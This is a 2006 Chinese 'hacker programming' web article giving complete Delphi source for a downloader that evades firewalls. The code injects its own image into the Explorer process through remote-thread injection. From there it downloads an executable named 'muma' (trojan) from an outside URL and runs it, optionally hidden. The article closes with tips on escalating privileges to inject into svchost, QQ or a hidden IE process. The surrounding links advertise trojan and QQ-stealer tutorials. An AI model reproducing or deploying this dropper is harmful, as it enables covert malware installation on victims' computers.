首 页 ┆ 源码下载 ┆ IT学院 ┆ 字体下载 ┆ 模板下载 ┆ 源码发布 ┆ 广告合作 ┆ 网站地图 ┆ 虚拟主机 ┆ 中文域名
► 设为首页
► 加入收藏
► 联系我们
源码下载 >> ASP源码 | PHP源码 | ASP.net源码 | JSP源码 | CGI源码 | VC/C++源码 | VB源码 | Delphi源码 | Flash源码
文章学院 >> 网络编程 | 网页设计 | 图形图象 | 数据库 | 服务器 | 网络媒体 | 网络安全 | 操作系统 | 办公软件 | 软件开发 | 黑客知识
字体下载 >> 精制字体 | 非英字体 | 艺术字体 | 著名字体 | 哥特式 | 简单字体 | 手写体 | 节假日 | 图案字体 | 精度像素 | 中文字体
模板下载 >> 企业门户 | 数码网络 | 休闲娱乐 | 影视音乐 | 旅游名胜 | 文化艺术 | 电子商务 | 个性展示 | 登陆导航 | Flash模板
►►您当前的位置:源码园 → IT学院 → 黑客知识 → 黑客进阶 → 文章内容

打造无DLL版穿墙Downloader(Delphi黑客编程)--DLL,穿墙,Downloader,Delphi,黑客,编程

作者:佚名  来源:网上收集  发布时间:2006-9-22 22:56:59

这份代码的思路来自于国外EES组织的Aphex。基本上所有的无DLL Download都是利用的这种方法。其实也就是用烂了的远程注入法。不过注入的对象不是一个DLL,而是本身的一个过程。下面是代码,由于本人专业知识不够,可能有些说法不太专业。

program InjectTheSelf;

{$IMAGEBASE $13140000}

uses Windows, Urlmon;

procedure Download;  //下载过程
begin
  URLDownloadToFile(nil, 'http://www.mycode.ful.cn/muma.exe', 'C:\muma.exe', 0, nil);
  WinExec('C:\muma.exe', SW_SHOW); //SW_SHOW or SW_HIDE
end;

var
  hModule, hModule_News: Pointer;
  Extent, Size, ThreadId: longword;
  ProcessHandle, Pid: longword;

begin
  GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @Pid);
//获取Exp进程的PID码,Shell_TrayWnd为类名,相关的需用SPY++来查看

  ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, Pid); //打开进程

  hModule := Pointer(GetModuleHandle(nil));
//这里得到的值为一个返回一个指针型变量,指向内容包括自身映像的基址和长度

  Extent := PImageOptionalHeader(Pointer(integer(hModule) + PImageDosHeader(hModule)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;
//得到内存映像的长度

  VirtualFreeEx(ProcessHandle, hModule, 0, MEM_RELEASE);
//在Exp进程的内存范围内分配一个足够长度的内存

  hModule_News := VirtualAllocEx(ProcessHandle, hModule, Extent, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//确定起始基址和内存映像基址的位置

  WriteProcessMemory(ProcessHandle, hModule_News, hModule, Extent, Size);
//确定上面各项数据后,这里开始进行操作

  CreateRemoteThread(ProcessHandle, nil, 0, @Download, hModule, 0, ThreadId);
//建立远程线程,至此注入过程完成

  CloseHandle(ProcessHandle);
//关闭对像
end.

需要说明的是,尽管这已经是一份完整的穿墙版Downloader的代码。但其还是有很多BUG的。如果你想写属于自己的下载者,请注意解决下面几个问题:

1、上面的代码用到的远程注入的方法所用到的函数在Windows9X下没有。
2、Windows和一些应用程序对某些进程做了保护,不允许进程进行越权操作。如Svchost、QQ等进程的注入,必须先进行提权操作。
3、若需注入到IE。请先用Winexec的SW_HIDE模式打开一个隐藏的IE进程,将程序挂起3秒后再进行注入。这个是针对一些老机器而作的。

[] [返回上一页] [打 印]
  • 上一篇文章:用Delphi创建NT/2000账号(Delphi编程)--Delphi,创建NT2000,账号,编程,技巧,DELPHI
  • 下一篇文章:PPStream跨站漏洞利用演示--PPStream,跨站,漏洞,利用演示

  • 相关文章:
  • [图文]跟我打造无DLL版穿墙Downloader--DLL,穿墙,Do...
  • 查找一个特定的EXE是否在内存中运行--查找,特定,EXE...
  • 黑客编程:开3389的源代码(C源码)--黑客,编程,3389,...
  • 自己做木马的一点心得(VB黑客编程)--木马,一点心得,...
  • 用VB写下载者最短代码-黑客编程--VB,下载者,最短代码...
  • MyQQ.cpp 非完全版本(C语言黑客编程)--MyQQ.cpp,非完...
  • 用VB打造远程屏幕监控木马(VB黑客编程)--VB,打造,远...
  • WINDOWS钩子函数-黑客编程--WINDOWS,钩子,函数,黑客...
  • 打造无DLL版穿墙Downloader(Delphi黑客编程)--DLL,穿...
  • [图文]同时只能够运行一个程序(Delphi黑客编程)--同...
  • [图文]如何映射肉鸡磁盘(Delphi黑客编程)--映射,肉鸡...
  • 盗QQ源码--盗,QQ,源码,黑客,编程
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 友情连接 - 网站地图 - 源码发布
Copyright © 2003-2009 Ymyasp.Com. All Rights Reserved .
备案序号:粤ICP备07029071号